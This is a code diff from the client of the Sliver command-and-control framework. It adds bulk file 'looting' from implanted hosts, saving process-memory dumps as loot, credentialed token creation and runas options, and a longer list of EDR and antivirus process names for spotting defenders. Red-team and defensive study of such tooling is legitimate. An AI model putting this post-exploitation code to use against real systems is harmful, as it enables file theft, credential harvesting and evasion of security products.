||||
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
}
|
||||
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
return nil, fmt.Errorf("%s\n", download.Response.Err)
|
||||
}
|
||||
|
||||
// Decode the downloaded data if required
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Decoding failed %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
return download, nil
|
||||
}
|
||||
|
||||
func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
|
||||
if lootName == "" {
|
||||
lootName = fileName
|
||||
}
|
||||
|
||||
lootMessage := &clientpb.Loot{
|
||||
Name: lootName,
|
||||
Type: lootType,
|
||||
FileType: lootFileType,
|
||||
File: &commonpb.File{
|
||||
Name: fileName,
|
||||
Data: data,
|
||||
},
|
||||
}
|
||||
|
||||
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
|
||||
lootMessage.CredentialType = clientpb.CredentialType_FILE
|
||||
}
|
||||
|
||||
return lootMessage
|
||||
}
|
||||
|
||||
func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
|
||||
control := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
|
||||
|
||||
loot, err := con.Rpc.LootAdd(context.Background(), loot)
|
||||
control <- true
|
||||
<-control
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
|
||||
if loot.Name != loot.File.Name {
|
||||
con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
|
||||
} else {
|
||||
con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Was the download successful?
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
/* Construct everything needed to send the loot to the server
|
||||
If this is a directory, we will process each file individually
|
||||
*/
|
||||
|
||||
// Let's handle the simple case of a file first
|
||||
if !download.IsDir {
|
||||
// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
|
||||
downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
|
||||
lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
|
||||
SendLootMessage(lootMessage, con)
|
||||
} else {
|
||||
// We have to decompress the gzip file first
|
||||
decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not decompress downloaded data: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
/*
|
||||
Directories are stored as tar-ed gzip archives.
|
||||
We have gotten rid of the gzip part, now we have to sort out the tar
|
||||
*/
|
||||
tarReader := tar.NewReader(decompressedDownload)
|
||||
|
||||
// Keep reading until we reach the end
|
||||
for {
|
||||
entryHeader, err := tarReader.Next()
|
||||
if err == io.EOF {
|
||||
// We have reached the end of the tar archive
|
||||
break
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
// Something is wrong with this archive. Stop reading.
|
||||
break
|
||||
}
|
||||
|
||||
if entryHeader == nil {
|
||||
/*
|
||||
If the entry is nil, skip it (not sure when this would happen,
|
||||
but we do not want to attempt operations on something that is nil)
|
||||
*/
|
||||
continue
|
||||
}
|
||||
|
||||
if entryHeader.Typeflag == tar.TypeDir {
|
||||
// Keep going to dig into the directory
|
||||
continue
|
||||
}
|
||||
// The implant should have only shipped us files (the implant resolves symlinks)
|
||||
|
||||
// Create a loot message for this file and ship it
|
||||
/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
|
||||
be the end of the file
|
||||
*/
|
||||
fileData, err := io.ReadAll(tarReader)
|
||||
if err == nil {
|
||||
lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
|
||||
SendLootMessage(lootMessage, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
|
||||
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
@@ -38,77 +233,22 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
remotePath := ctx.Args.String("path")
|
||||
fileName := filepath.Base(remotePath)
|
||||
name := ctx.Flags.String("name")
|
||||
if name == "" {
|
||||
name = path.Base(remotePath)
|
||||
}
|
||||
|
||||
var lootType clientpb.LootType
|
||||
var err error
|
||||
lootTypeStr := ctx.Flags.String("type")
|
||||
if lootTypeStr != "" {
|
||||
lootType, err = lootTypeFromHumanStr(lootTypeStr)
|
||||
if err == ErrInvalidLootType {
|
||||
con.PrintErrorf("Invalid loot type %s", lootTypeStr)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
lootType = clientpb.LootType_LOOT_FILE
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
|
||||
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
if err != nil {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err) // Download failed
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// Determine type based on download buffer
|
||||
lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
|
||||
if lootFileType == -1 || err != nil {
|
||||
if isText(download.Data) {
|
||||
lootFileType = clientpb.FileType_TEXT
|
||||
} else {
|
||||
lootFileType = clientpb.FileType_BINARY
|
||||
}
|
||||
}
|
||||
loot := &clientpb.Loot{
|
||||
Name: name,
|
||||
Type: lootType,
|
||||
FileType: lootFileType,
|
||||
File: &commonpb.File{
|
||||
Name: path.Base(remotePath),
|
||||
Data: download.Data,
|
||||
},
|
||||
}
|
||||
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
|
||||
loot.CredentialType = clientpb.CredentialType_FILE
|
||||
}
|
||||
|
||||
loot, err = con.Rpc.LootAdd(context.Background(), loot)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
lootType, err := ValidateLootType(ctx.Flags.String("type"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
|
||||
download, err := PerformDownload(remotePath, fileName, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Determine type based on download buffer
|
||||
lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
|
||||
LootDownload(download, name, lootType, lootFileType, ctx, con)
|
||||
}
|
||||
@@ -44,6 +44,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ip6 := ctx.Flags.Bool("ip6")
|
||||
tcp := ctx.Flags.Bool("tcp")
|
||||
udp := ctx.Flags.Bool("udp")
|
||||
numeric := ctx.Flags.Bool("numeric")
|
||||
|
||||
implantPID := getPID(session, beacon)
|
||||
activeC2 := getActiveC2(session, beacon)
|
||||
@@ -67,25 +68,21 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
|
||||
})
|
||||
con.PrintAsyncResponse(netstat.Response)
|
||||
} else {
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
|
||||
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) {
|
||||
lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
|
||||
const IPv4Strlen = 17
|
||||
addr := skaddr.Ip
|
||||
names, err := net.LookupAddr(addr)
|
||||
if err == nil && len(names) > 0 {
|
||||
addr = names[0]
|
||||
}
|
||||
if len(addr) > IPv4Strlen {
|
||||
addr = addr[:IPv4Strlen]
|
||||
}
|
||||
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
|
||||
}
|
||||
|
||||
@@ -98,8 +95,12 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
|
||||
if entry.Process != nil {
|
||||
pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
|
||||
}
|
||||
srcAddr := lookup(entry.LocalAddr)
|
||||
dstAddr := lookup(entry.RemoteAddr)
|
||||
srcAddr := fmt.Sprintf("%s:%d", entry.LocalAddr.Ip, entry.LocalAddr.Port)
|
||||
dstAddr := fmt.Sprintf("%s:%d", entry.RemoteAddr.Ip, entry.RemoteAddr.Port)
|
||||
if !numeric {
|
||||
srcAddr = lookup(entry.LocalAddr)
|
||||
dstAddr = lookup(entry.RemoteAddr)
|
||||
}
|
||||
if entry.Process != nil && entry.Process.Pid == implantPID {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
|
||||
|
||||
@@ -57,10 +57,13 @@ func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleC
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
var options []bool
|
||||
options = append(options, ctx.Flags.Bool("allow-all"))
|
||||
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
|
||||
Type: sliverpb.PivotType_NamedPipe,
|
||||
BindAddress: ctx.Flags.String("bind"),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Options: options,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -19,8 +19,10 @@ package portfwd
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -29,6 +31,10 @@ import (
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
|
||||
)
|
||||
|
||||
// PortfwdAddCmd - Add a new tunneled port forward
|
||||
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
@@ -36,10 +42,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if session.GetActiveC2() == "dns" {
|
||||
con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
|
||||
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
|
||||
}
|
||||
if session.Transport == "wg" {
|
||||
con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
|
||||
con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
|
||||
}
|
||||
remoteAddr := ctx.Flags.String("remote")
|
||||
if remoteAddr == "" {
|
||||
@@ -55,10 +61,14 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
|
||||
}
|
||||
bindAddr := ctx.Flags.String("bind")
|
||||
if remoteAddr == "" {
|
||||
con.PrintErrorf("Must specify a bind target host:port")
|
||||
if bindAddr == "" {
|
||||
con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
|
||||
return
|
||||
}
|
||||
// If only a port is specified bind to localhost
|
||||
if portNumberOnlyRegexp.MatchString(bindAddr) {
|
||||
bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
|
||||
}
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
|
||||
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
|
||||
"Remote Address",
|
||||
})
|
||||
for _, p := range portfwds {
|
||||
tw.AppendHeader(table.Row{
|
||||
tw.AppendRow(table.Row{
|
||||
p.ID,
|
||||
p.SessionID,
|
||||
p.BindAddr,
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -40,7 +41,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
AESKey: aesKey,
|
||||
}
|
||||
|
||||
sessionMapper := prelude.InitSessionMapper(config)
|
||||
implantMapper := prelude.InitImplantMapper(config)
|
||||
|
||||
con.PrintInfof("Connected to Operator at %s\n", url)
|
||||
if !skipExisting {
|
||||
@@ -52,9 +53,28 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if len(sessions.Sessions) > 0 {
|
||||
con.PrintInfof("Adding existing sessions ...\n")
|
||||
for _, session := range sessions.Sessions {
|
||||
err = sessionMapper.AddSession(session)
|
||||
if !session.IsDead {
|
||||
err = implantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get beacon list: %s", err)
|
||||
return
|
||||
}
|
||||
if len(beacons.Beacons) > 0 {
|
||||
con.PrintInfof("Adding existing beacons ...\n")
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
|
||||
con.AddBeaconCallback(taskID, cb)
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
|
||||
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
|
||||
@@ -25,8 +25,8 @@ import (
|
||||
)
|
||||
|
||||
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if prelude.SessionMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
|
||||
if prelude.ImplantMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
|
||||
|
||||
@@ -28,6 +28,16 @@ import (
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var logonTypes = map[string]uint32{
|
||||
"LOGON_INTERACTIVE": 2,
|
||||
"LOGON_NETWORK": 3,
|
||||
"LOGON_BATCH": 4,
|
||||
"LOGON_SERVICE": 5,
|
||||
"LOGON_UNLOCK": 7,
|
||||
"LOGON_NETWORK_CLEARTEXT": 8,
|
||||
"LOGON_NEW_CREDENTIALS": 9,
|
||||
}
|
||||
|
||||
// MakeTokenCmd - Windows only, create a token using "valid" credentails
|
||||
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
@@ -38,6 +48,12 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
username := ctx.Flags.String("username")
|
||||
password := ctx.Flags.String("password")
|
||||
domain := ctx.Flags.String("domain")
|
||||
logonType := ctx.Flags.String("logon-type")
|
||||
|
||||
if _, ok := logonTypes[logonType]; !ok {
|
||||
con.PrintErrorf("Invalid logon type: %s\n", logonType)
|
||||
return
|
||||
}
|
||||
|
||||
if username == "" || password == "" {
|
||||
con.PrintErrorf("Pou must provide a username and password\n")
|
||||
@@ -48,10 +64,11 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.SpinUntil("Creating new logon session ...", ctrl)
|
||||
|
||||
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
LogonType: logonTypes[logonType],
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -36,8 +36,12 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
username := ctx.Flags.String("username")
|
||||
password := ctx.Flags.String("password")
|
||||
domain := ctx.Flags.String("domain")
|
||||
showWindow := ctx.Flags.Bool("show-window")
|
||||
process := ctx.Flags.String("process")
|
||||
arguments := ctx.Flags.String("args")
|
||||
netonly := ctx.Flags.Bool("net-only")
|
||||
|
||||
if username == "" {
|
||||
con.PrintErrorf("Please specify a username\n")
|
||||
@@ -54,6 +58,10 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Username: username,
|
||||
ProcessName: process,
|
||||
Args: arguments,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
HideWindow: !showWindow,
|
||||
NetOnly: netonly,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
|
||||
@@ -24,7 +24,9 @@ import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -42,6 +44,8 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
pid := ctx.Flags.Int("pid")
|
||||
name := ctx.Flags.String("name")
|
||||
saveTo := ctx.Flags.String("save")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("loot-name")
|
||||
|
||||
if pid == -1 && name != "" {
|
||||
pid = GetPIDByName(ctx, name, con)
|
||||
@@ -78,11 +82,23 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
if saveLoot {
|
||||
LootProcessDump(dump, lootName, hostname, pid, con)
|
||||
}
|
||||
|
||||
if !saveLoot || saveTo != "" {
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(dump.Response)
|
||||
} else {
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
if saveLoot {
|
||||
LootProcessDump(dump, lootName, hostname, pid, con)
|
||||
}
|
||||
|
||||
if !saveLoot || saveTo != "" {
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -99,7 +115,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
|
||||
return
|
||||
}
|
||||
} else {
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating file: %s\n", err)
|
||||
return
|
||||
@@ -119,3 +135,15 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
|
||||
timeNow := time.Now().UTC()
|
||||
dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
|
||||
|
||||
if lootName == "" {
|
||||
lootName = dumpFileName
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
@@ -21,6 +21,7 @@ package processes
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
@@ -37,15 +38,53 @@ var (
|
||||
// Stylizes known processes in the `ps` command
|
||||
knownSecurityTools = map[string][]string{
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
|
||||
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
|
||||
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
|
||||
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
||||
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"collector.exe": {console.Red, "Rapid 7 Collector"}, // Rapid 7 Insight Platform Collector
|
||||
"ir_agent.exe": {console.Red, "Rapid 7 Insight Agent"}, // Rapid 7 Insight Agent
|
||||
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
}
|
||||
)
|
||||
|
||||
@@ -104,19 +143,38 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
overflow := ctx.Flags.Bool("overflow")
|
||||
skipPages := ctx.Flags.Int("skip-pages")
|
||||
pstree := ctx.Flags.Bool("tree")
|
||||
|
||||
if pstree {
|
||||
var currentPID int32
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session != nil && session.PID != 0 {
|
||||
currentPID = session.PID
|
||||
} else if beacon != nil && beacon.PID != 0 {
|
||||
currentPID = beacon.PID
|
||||
}
|
||||
// Print the process tree
|
||||
sorted := SortProcessesByPID(ps.Processes)
|
||||
tree := NewPsTree(currentPID)
|
||||
for _, p := range sorted {
|
||||
tree.AddProcess(p)
|
||||
}
|
||||
con.PrintInfof("Process Tree:\n%s", tree.String())
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
switch os {
|
||||
case "windows":
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
|
||||
fallthrough
|
||||
default:
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
|
||||
}
|
||||
|
||||
cmdLine := ctx.Flags.Bool("print-cmdline")
|
||||
